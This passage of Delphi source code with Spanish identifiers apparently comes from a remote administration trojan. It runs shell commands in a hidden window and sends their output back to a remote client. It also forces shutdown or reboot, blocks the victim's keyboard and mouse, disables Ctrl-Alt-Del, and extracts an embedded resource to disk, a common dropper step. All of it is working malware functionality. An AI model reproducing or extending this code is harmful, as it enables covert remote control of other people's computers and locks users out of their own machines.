      nLength:=SizeOf(SecyAttr);
      lpSecurityDescriptor:=nil;
      bInheritHandle:=True;
    end;
    DumpFileName:=GetLocalPath+'DEBUG.TXT';
    Windows.DeleteFile(pChar(DumpFileName));
    FillChar(Startupinfo,Sizeof(TStartupinfo),0);
    Startupinfo.cb:=Sizeof(TStartupInfo);
    Startupinfo.dwFlags:= STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES ;
    Startupinfo.wShowWindow:=SW_HIDE;
    DumpHandle:=CreateFile(pChar(DumpFileName),
        GENERIC_WRITE, FILE_SHARE_WRITE,
        @SecyAttr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0) ;
    try
      Startupinfo.hStdError:=DumpHandle;
      Startupinfo.hStdOutput:=DumpHandle;
      if CreateProcess( nil, pChar(CmdInt + ConsolaApp),
            nil, nil, true, NORMAL_PRIORITY_CLASS,
            nil, nil, Startupinfo, ProcessInfo)
      then WaitforSingleObject(Processinfo.hProcess, infinite);
    finally
      CloseHandle(DumpHandle);
      CloseHandle(ProcessInfo.hProcess);
      if FileExists(DumpFileName) then begin
        EnviarSalidaAlCliente( DumpFileName);
      end;
    end;
   end;
      function ShutDownWindows(RebootParam: Longword): Boolean;
var
  TTokenHd: THandle;
  TTokenPvg: TTokenPrivileges;
  cbtpPrevious: DWORD;
  rTTokenPvg: TTokenPrivileges;
  pcbtpPreviousRequired: DWORD;
  tpResult: Boolean;
const
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
  if  (EsXp=true) then
  begin
    tpResult := OpenProcessToken(GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
      TTokenHd);
    if tpResult then
    begin
      tpResult := LookupPrivilegeValue(nil,
                                       SE_SHUTDOWN_NAME,
                                       TTokenPvg.Privileges[0].Luid);
      TTokenPvg.PrivilegeCount := 1;
      TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      cbtpPrevious := SizeOf(rTTokenPvg);
      pcbtpPreviousRequired := 0;
      if tpResult then
        Windows.AdjustTokenPrivileges(TTokenHd,
                                      False,
                                      TTokenPvg,
                                      cbtpPrevious,
                                      rTTokenPvg,
                                      pcbtpPreviousRequired);
    end;
  end;
  Result := ExitWindowsEx(RebootParam, 0);
end;
function MatarMouseTeclado : String;
function Existe(_dllname, _funcname: string; var _p: pointer): boolean;
//Devuelve true si la funcion _funcname esta disponible en la DLL _dllname.
//Si es asi, almacena en _p la direccion de la funci髇.
var _lib: tHandle;
begin
     Result := false;
     _p := NIL;
     if LoadLibrary( PChar(_dllname) ) = 0 then exit;
     _lib := GetModuleHandle( PChar(_dllname) );
     if _lib <> 0 then
     begin
        _p := GetProcAddress(_lib, PChar(_funcname));
        if _p <> nil then Result := true;
     end;
end;
var xBlockInput : function( Block: BOOL ): BOOL; stdcall;
    i : Integer;
begin
    if Existe( 'USER32.DLL', 'BlockInput', @xBlockInput ) then
       if Bloqueado then
       begin
            xBlockInput( false );
            Bloqueado := False;
            SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @i, 0);
            Result := 'Tecla y mouse habilitados!!!';
       end
       else begin
                 xBlockInput( true );
                 Bloqueado := True;
                 //Desactivar el  Ctrl-Alt-Del
                 SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
                 Result :=  'Tecla y mouse deshabilitados!!!';
            end;
end;
procedure ExtractResourceToFile( ResName, ResExtract: String);
var
  ResourceLocation: HRSRC;
  cFileHandle, cResourceDataHandle: THandle;
  cResourceSize, cBytesWritten: Longword;
  cRecourcePath, cResourcePointer: PChar;
begin
  cRecourcePath := PChar( ResExtract );
  ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
  cResourceSize := SizeofResource(HInstance,ResourceLocation);
  cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
  cResourcePointer := LockResource(cResourceDataHandle);
  cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
  CloseHandle( cFileHandle );
end;
end.

						